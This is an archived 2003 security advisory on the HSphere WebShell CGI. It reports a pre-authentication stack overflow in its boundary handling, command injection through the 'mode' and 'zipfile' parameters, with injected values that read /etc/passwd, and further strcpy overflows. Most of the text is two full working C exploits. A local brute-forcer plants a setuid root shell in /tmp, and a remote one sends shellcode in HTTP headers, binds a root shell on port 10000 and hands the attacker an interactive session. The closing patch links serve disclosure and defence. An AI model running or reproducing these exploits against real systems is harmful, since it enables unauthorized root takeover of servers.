6th Jan 2003 [SBWID-5914]
COMMAND
Remote (and local) root vulnerability HSphere
SYSTEMS AFFECTED
WebShell component of HSphere product by Positive Software, version
20020224 (latest tarball. Earlier versions are possibly vulnerable too)
PROBLEM
Carl Livitt [carl (at) learningshophull.co.uk] says :
=================
Brief description
=================
Webshell is a web-based application that acts as a file manager for
uploading / downloading files via FTP. It uses username/password
authentication to ensure security. It runs SUID root in Unix
environments so that it can read from the system shadow password file
and change UID to a successfully authenticated user.
There is a pre-authentication buffer overflow in the HTTP header
processing code which would allow a malicious user to overwrite data on
the stack; this can lead to execution of arbitrary code as root.
===========
More detail
===========
The overflow occurs in the CGI::readFile() function of CGI.C when
insufficient bounds checking (ie: none at all) is performed on the
'boundary' string:
int CGI::readFile(istream& is, ostream& os, const char* boundary) {
char b1[255];
strcpy(b1, "\r");
strcat(b1, boundary);
The 'boundary' string is taken from the data-stream directly after the
HTTP headers in the incoming request. For example:
POST /cgi-bin/webshell HTTP/1.1
Host: www.vulnerablesite.com
Content-Type: multipart/form-data boundary=AAAAA (300 "A"s)
Content-Length: 900
--AAAAA (300 "A"s)
Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"
This would overflow the 'b1' array with 300 "A"s and overwrite the
saved EIP with 0x41414141. Note that the data that overwrites 'b1' is
not taken from the 'Content-Type' header, but from the line preceding
the 'Content-Disposition' field. Also note that both boundary tags need
to be identical for an exploit to succeed.
To ease exploitation, shellcode can be stored in an HTTP header that is
converted to an environment variable by the webserver (eg. Apache) when
webshell is executed. An example of such a header is 'Accept-Encoding';
this is converted to "HTTP_ACCEPT_ENCODING" and can store strings that
hold enormous amounts of shellcode. The provided exploit uses a small
port-binding shellcode written by Bighawk.
It should also be noted that webshell does not need to be exploited
remotely; it is perfectly possible to exploit it locally to elevate
user privileges to root.
=====================
Other Vulnerabilities
=====================
Lines 114-117 of 'command.C':
string file = dirname + '/' + cgi.varByName("file");
string mode = cgi.varByName("mode");
string tmp=CHMOD+mode+" "+shquote(encodeFileName(file));
if (0==system(tmp.c_str())) {
A user could execute commands by embedding them in the 'mode' field of
the HTTP query (eg. 'mode=$(cat /etc/passwd) 0755').
---------
Lines 170-228 of 'command2.cc':
void Command::compress(bool download) {
string zipfile=encodeFileName(cgi.varByName("zipfile"));
string compression=cgi.varByName("compression");
.
.
if (compression.compare("zip")==0) {
.
.
cmd=ZIP" -q -r -b /tmp "+zipfile+tmp;
}
.
.
if (!error) {
if (download)
html.header("application/x-unknown");
error= !((chdir(dirname.c_str())==0) && (system(cmd.c_str())==0));
A user could execute commands by embedding them in the 'zipfile' field
of the HTTP query (eg. 'zipfile=xyzzy`ls -l`').
There are many occurences of this type of error. It should also be
noted that the encodeFileName() function simply returns the string it
was passed! It does no encoding at all!
----------
Line 16 of diskusage.cc:
size+=diskusage(strcat(strcat(strcpy(file, path), "/"),dir_entry->d_name));
'file' is declared as "char file[1024];" which could probably be used
to overflow stack variables, possibly modifying execution path via EIP.
----------
In flist() function in flist.C:
char fname[256];
int esize=strlen(ext);
int fsize;
if ((cdir=opendir(dname))!=NULL) {
while ((cfile=readdir(cdir)) != NULL) {
if ((esize>=(fsize=strlen(cfile->d_name))) ||
(strstr(cfile->d_name+fsize-esize,ext)==NULL)) continue;
strcpy(fname, dname);
strcat(fname, "/");
strcat(fname, cfile->d_name);
fname[] gets overwritten, EIP overwritten etc etc.
========
Exploits
========
In keeping with full-disclosure, here are two exploits: a local one
which will elevate any user to r00t, and a remote one which works
against all tested webshell installations and yields a remote root
shell on port 10000 (by default).
Both exploits work in a bruteforce manner, which ensures that they work
more often than not. However, this bruteforcing means that the exploits
are 'noisy': they leave a lot of mess. Cleaning up after this mess is
left as an excercise for the reader.
First, the local exploit:
/*
* Local r00t exploit for Webshell 2.4 (possibly other versions).
* Vulnerability found and exploit written by Carl Livitt
* (carl (@) learningshophull.co.uk).
*
Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.
Uses a bruteforce method to guess the return address on the stack
and the amount of data to overflow the buffer with; this ensures
it works under many different environments. I originally hardcoded
these values, but found that this was unreliable.
Copy this file (webshell-local.c) to /tmp and then:
cd /tmp
gcc -o webshell-local webshell-local.c
cd /path/to/the/webshell/directory
/tmp/webshell-local
That should get you r00t without any messing about.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#define EGG_SIZE_START 257
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbfffe910
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCREMENT 256
#define CONTENT_LENGTH 42
#define SHELLSCRIPT_FILE "/tmp/zz"
#define EXPLOIT_FILE "/tmp/.webshell.txt"
#define ROOT_SHELL "/tmp/rs"
#define WEBSHELL_PROGRAM "./webshell"
void create_shellscript_file();
void make_shellcode();
void make_exploit_buffer();
void setup_environment();
void make_exploit_file();
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh
char sc[1024];
char egg[1024];
char shell_script[]=
"#!/bin/sh\n"
"cd /tmp\n"
"cat << ROOTSHELL > "ROOT_SHELL".c\n"
"main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
"ROOTSHELL\n"
"gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
"chown root:root "ROOT_SHELL"*\n"
"chmod 6777 "ROOT_SHELL"\n"
"chmod 0666 "ROOT_SHELL".c\n";
char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";
int EGG_SIZE=EGG_SIZE_START;
unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
char *env[4];
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int brute_force_mode=1, status, pid;
struct stat s;
/*
* Check to see if the exploit has been run before...
*/
if(stat((char *)ROOT_SHELL,&s)==0) {
printf("Root shell already exists... executing...\n");
system(ROOT_SHELL);
exit(0);
}
/*
* Make sure that the webshell binary can be found
* and is SUID root
*/
if(stat(WEBSHELL_PROGRAM, &s)!=0) {
printf(WEBSHELL_PROGRAM" not found!\n");
exit(1);
} else if(!(s.st_mode&S_ISUID)) {
printf(WEBSHELL_PROGRAM" is not SUID root!\n");
exit(1);
}
/*
* Start the bruteforce loop...
*/
printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
do {
// setup exploit buffers
make_shellcode();
make_exploit_buffer();
setup_environment();
make_exploit_file();
create_shellscript_file();
printf(".");fflush(stdout);
// fork and execute the webshell binary, passing it the
// exploit input.
if((pid=fork())==0) {
system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
exit(0);
} else {
waitpid(pid, &status, 0);
}
// If ROOT_SHELL exists, then the exploit was successful.
// So execute it!
if(stat((char *)ROOT_SHELL,&s)==0) {
printf("\nEntering r00t shell...\n\n");
system(ROOT_SHELL);
exit(0);
}
// The ROOT_SHELL did not exist, so adjust the bruteforce
// parameters and continue...
EGG_SIZE++;
if(EGG_SIZE>EGG_SIZE_END) {
RET_ADDR+=RET_ADDR_INCREMENT;
if(RET_ADDR>RET_ADDR_END) {
printf("Leaving bruteforce mode...\n");
brute_force_mode=0;
} else {
EGG_SIZE=EGG_SIZE_START;
}
}
} while(brute_force_mode);
printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
}
/*
* Creates the file to be used as stdin for webshell.
*/
void make_exploit_file() {
FILE *fp;
if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
printf("Could not create exploit file %s\n", EXPLOIT_FILE);
exit(1);
}
fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
fclose(fp);
}
/*
* Create the malicious environment in which webshell will run
*/
void setup_environment() {
int i;
unsetenv("S");
unsetenv("CONTENT_LENGTH");
unsetenv("REQUEST_METHOD");
unsetenv("CONTENT_TYPE");
env[0]=strdup(egg);
env[1]=strdup(sc);
env[2]=strdup("CONTENT_LENGTH=261");
env[3]=strdup("REQUEST_METHOD=POST");
env[4]=NULL;
for(i=0;i<4;i++)
putenv(env[i]);
}
/*
* It is the 'boundary' section of a multipart/form-data MIME type
* that overflows the buffer in webshell. This function creates the
* malicious boundary.
*/
void make_exploit_buffer() {
int i;
memset(egg, 0, EGG_SIZE-1);
memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
for(i=0;i<EGG_SIZE; i+=4) {
egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
}
egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
}
/*
* Makes a 1024-byte buffer filled with NOPs and shellcode
*/
void make_shellcode() {
memset(sc, 0x90,1024);
sc[0]='S';
sc[1]='=';
memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
sc[1023]='\0';
}
/*
* Generate the shellscript that will be executed by the shellcode.
* By default, it will create a SUID root shell in /tmp
*/
void create_shellscript_file() {
FILE *fp;
if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
printf("Could not create %s\n", SHELLSCRIPT_FILE);
exit(1);
}
fprintf(fp, "%s", shell_script);
fclose(fp);
chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
}
==================
The remote exploit
==================
/*
* Remote r00t exploit for Webshell 2.4 (possibly other versions).
* Vulnerability found and exploit written by Carl Livitt
* (carl (@) learningshophull.co.uk).
*
Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.
This exploit will bind a r00t shell to port 10000 (by default) of
the remote box. Feel free to use any shellcode of your choice.
This code is a butchered version of the local exploit for
webshell. It works on my test box, and won't be refined any further,
although the bruteforcer should work on most webshell installations.
To exploit:
gcc -o webshell-remote webshell-remote.c
./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell
That's it. It'll work on almost all vulnerable hosts (running Linux).
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
/*
* Play with these to make it work (if it fails!)
*/
#define EGG_SIZE_START 280
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbffff010
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCR 768
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"
#define ROOT_SHELL_PORT 10000
// should only be needed against localhost. Set to 0 to disable.
#define SLEEP_TIME 125000000L
// don't play with this, you'll only break things.
#define CONTENT_LENGTH 43
void make_shellcode();
void make_exploit_buffer();
void make_boundary_buffer();
/*
* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk@warfare.com)
* setuid(0) and setgid(0) added by Carl Livitt
*/
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"XX" // XX is port number
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000
/*
* Ahhhh, global variables make life easy :)
*/
char sc[1024];
char egg[1024];
char exploit_buf[4096];
char target[256];
int port=80;
char location[1024];
unsigned long RET_ADDR;
int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;
char usage[]=
"-h This cruft\n"
"-t host Target host (eg. www.xyzzy.com)\n"
"-p port Target port [80]\n"
"-P port Port to bind shell on remote host [10000]\n"
"-l location Location of webshell (eg. /cgi-bin/webshell)\n\n"
"Example:\n\n"
"./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
"This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
"and bind a root shell to port 12345 if successful.\n\n";
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int ch, websock, shellsock,r=1;
struct hostent *host;
struct sockaddr_in saddr;
char buf[8092];
struct timespec sleepTime;
fd_set rfds;
int retval;
/*
* Process command-line args
*/
while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
switch(ch) {
case 'h':
printf("%s",usage);
exit(0);
break;
case 't':
strncpy(target, optarg, sizeof(target)-1);
break;
case 'p':
port=atoi(optarg);
break;
case 'P':
root_shell_port=atoi(optarg);
break;
case 'l':
strncpy(location, optarg, sizeof(location)-1);
break;
default:
printf("%s", usage);
exit(0);
break;
}
}
/*
* Tell the attacker we're about to start the exploit.
* Look up the IP address of the host specified on the
* command-line
*/
if((host=gethostbyname(target))==NULL) {
printf("Host not found. Usage:\n%s\n", usage);
exit(1);
}
printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);
/*
* Start the bruteforce loop
*/
for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
/*
* Setup the exploit strings and
* HTTP headers. The Accept-Encoding header
* will hold shellcode: it will be passed
* to the environment of webshell giving us
* a reasonably predictable RET address.
*/
make_shellcode();
make_boundary_buffer();
make_exploit_buffer();
/*
* Now connect to the host and send the exploit
* string...
*/
if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(port);
printf(".");fflush(stdout);
if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
perror("connect()");
exit(1);
}
send(websock, exploit_buf, strlen(exploit_buf), 0);
close(websock);
/*
* This pause is needed when exploiting localhost.
* It can be ignored against remote hosts (I think!)
*/
sleepTime.tv_sec=0;
sleepTime.tv_nsec=SLEEP_TIME;
nanosleep(&sleepTime, &sleepTime);
/*
* If the exploit attempt succeded, there should now
* be a r00t shell bound to port xxxxx of the target
* box. Lets try and connect to it...
*/
if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(root_shell_port);
if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
goto CONNECTED; // goto? Damn amateurs...
/*
* If we get here, the exploit failed. Try the next
* iteration of the brute force loop.
*/
close(shellsock);
}
}
/*
* If we get here, then the bruteforce was exhausted without a
* succesful exploit.
*/
printf("\nFailed to exploit the webshell binary. :(\n");
exit(0);
CONNECTED:
/*
* We're now connected to the remote host. Issue
* some commands... ('id' and 'uname -a' by default)
*/
printf("\n\nExploit successful!\nIssuing some commands...\n\n");
if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
perror("send()");
exit(1);
}
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s", buf);
send(shellsock, COMMAND2, strlen(COMMAND2), 0);
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s\n", buf);
printf("You are now at a bash prompt...\n");
/*
* Now let the attacker issue commands to the remote
* shell, just as if (s)he had launched 'nc host 10000'.
* Note the dodgy coding of assigning NULLs to the buf[]
* array. What would happen if recv() or read() returned -1 ?
* You guessed it: we mung some variables on the stack!
*/
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellsock, &rfds);
retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellsock, &rfds)) {
buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
send(shellsock, buf, strlen(buf), 0);
}
}
} while(retval && r); // loop until connection terminates
close(shellsock);
exit(0);
}
/*
* Create the HTTP request that will setup the exploit
* conditions in webshell. Shellcode is stored in the
* Accept-Encoding HTTP header.
*/
void make_exploit_buffer() {
sprintf(exploit_buf,"POST %s HTTP/1.1\n",location);
sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc);
sprintf(exploit_buf,"%s%s\n",exploit_buf,egg);
sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2);
sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH);
sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf);
sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," ");
}
/*
* Create the buffer that holds the 'boundary' data. This
* is what actually overflows the buffer on the stack.
*/
void make_boundary_buffer() {
int i;
memset(egg, 0, EGG_SIZE-1);
memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH);
for(i=0;i<EGG_SIZE; i+=4) {
egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
}
egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
}
/*
* Creates a 1024-byte buffer holding NOPs and shellcode.
*/
void make_shellcode() {
// Fill in the port number
shellcode[33]=htons(root_shell_port)&0xff;
shellcode[34]=(htons(root_shell_port)>>8)&0xff;
// Finish making shellcode buffer
memset(sc, 0x90,1024);
memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
sc[1023]='\0';
}
SOLUTION
Tarball: http://www.hsphere.com/WebShell-2.4.tar.gz
Update: http://www.psoft.net/misc/webshell_patch.html
Thanks to Ivor Seletskiy and the team for their excellent coordination
in responding to and resolving this matter.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
